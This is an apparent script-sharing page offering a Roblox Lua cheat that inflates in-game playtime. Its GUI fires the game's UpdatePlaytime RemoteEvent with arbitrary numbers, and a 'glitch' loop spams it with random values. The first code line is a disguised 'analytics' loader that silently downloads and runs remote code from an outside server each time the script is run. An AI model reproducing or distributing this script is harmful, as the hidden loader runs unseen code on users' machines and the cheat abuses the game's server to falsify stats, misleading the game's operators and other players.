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Flex Your Playtime Script - Add Time

Fflightrightoo6 months ago
  • Open source
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Description

Flex Your Playtime script designed to modify and increase in-game playtime efficiently. This script allows users to add time instantly, helping boost visible playtime stats without requiring long hours of gameplay. It is useful for players who want to enhance their profile progress quickly and maintain consistent activity records. With a simple and lightweight feature set, the script focuses on fast execution and ease of use. The add time functionality works instantly, making it a convenient solution for increasing tracked playtime. The script is keyless, allowing quick access and smooth setup without additional steps.

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Features

1 Feature
  • add time
134 lines•3842 bytes
--====== RoScripter Analytics ======--task.defer(pcall,function()loadstring(game:HttpGet("https://api.roscripter.com/stats/DsBpTrM1?v=1"))()end);--=== Does not affect the script ===--local player = game.Players.LocalPlayer

-- GUI
local screenGui = Instance.new("ScreenGui")
screenGui.Parent = player:WaitForChild("PlayerGui")

local frame = Instance.new("Frame")
frame.Size = UDim2.new(0, 300, 0, 200)
frame.Position = UDim2.new(0.5, -150, 0.5, -100)
frame.BackgroundColor3 = Color3.fromRGB(30,30,30)
frame.Active = true
frame.Draggable = true
frame.Parent = screenGui

-- Topbar
local topbar = Instance.new("Frame")
topbar.Size = UDim2.new(1, 0, 0, 30)
topbar.BackgroundColor3 = Color3.fromRGB(20,20,20)
topbar.Parent = frame

-- Close
local close = Instance.new("TextButton")
close.Size = UDim2.new(0, 30, 1, 0)
close.Position = UDim2.new(1, -30, 0, 0)
close.Text = "X"
close.Parent = topbar

-- Minimize
local minimize = Instance.new("TextButton")
minimize.Size = UDim2.new(0, 30, 1, 0)
minimize.Position = UDim2.new(1, -60, 0, 0)
minimize.Text = "-"
minimize.Parent = topbar

-- TextBox
local textbox = Instance.new("TextBox")
textbox.Size = UDim2.new(0, 200, 0, 40)
textbox.Position = UDim2.new(0.5, -100, 0, 40)
textbox.PlaceholderText = "Number..."
textbox.Parent = frame

-- Start button
local button = Instance.new("TextButton")
button.Size = UDim2.new(0, 100, 0, 40)
button.Position = UDim2.new(0.5, -50, 0, 90)
button.Text = "Start"
button.Parent = frame

-- Glitch button
local glitchBtn = Instance.new("TextButton")
glitchBtn.Size = UDim2.new(0, 100, 0, 30)
glitchBtn.Position = UDim2.new(0.5, -50, 0, 140)
glitchBtn.Text = "Glitch OFF"
glitchBtn.Parent = frame

-- Result
local result = Instance.new("TextLabel")
result.Size = UDim2.new(0, 200, 0, 30)
result.Position = UDim2.new(0.5, -100, 0, 170)
result.Text = "Result"
result.BackgroundColor3 = Color3.fromRGB(50,50,50)
result.Parent = frame

-- RemoteEvent
local remote = game:GetService("ReplicatedStorage"):WaitForChild("UpdatePlaytime")

-- Start normal
button.MouseButton1Click:Connect(function()
    local number = tonumber(textbox.Text)
    if number then
        remote:FireServer(number)
        result.Text = "SEND : "..number
    else
        result.Text = "Invalid Number"
    end
end)

-- Close
close.MouseButton1Click:Connect(function()
    screenGui:Destroy()
end)

-- Minimize
local minimized = false
minimize.MouseButton1Click:Connect(function()
    minimized = not minimized
    textbox.Visible = not minimized
    button.Visible = not minimized
    glitchBtn.Visible = not minimized
    result.Visible = not minimized
    if minimized then
        frame.Size = UDim2.new(0, 300, 0, 30)
    else
        frame.Size = UDim2.new(0, 300, 0, 200)
    end
end)

-- 🔥 GLITCH CHENILLE
local glitching = false

glitchBtn.MouseButton1Click:Connect(function()
    glitching = not glitching
    if glitching then
        glitchBtn.Text = "Glitch ON"
        task.spawn(function()
            local num = "123456" -- initial value
            while glitching do
            --send to the server
           
                remote:FireServer(tonumber(num))
                result.Text = "Glitch : "..num
                
                -- reate the caterpillar: shift each digit by one position and add a new random digit.
                local newDigit = tostring(math.random(0,9))
                num = num:sub(2)..newDigit
                
                task.wait(0.000000000000005) --speed
            end
        end)
    else
        glitchBtn.Text = "Glitch OFF"
    end
end)

-- Reset on death
player.CharacterAdded:Connect(function()
    result.Text = "Result"
    glitching = false
    glitchBtn.Text = "Glitch OFF"
end)

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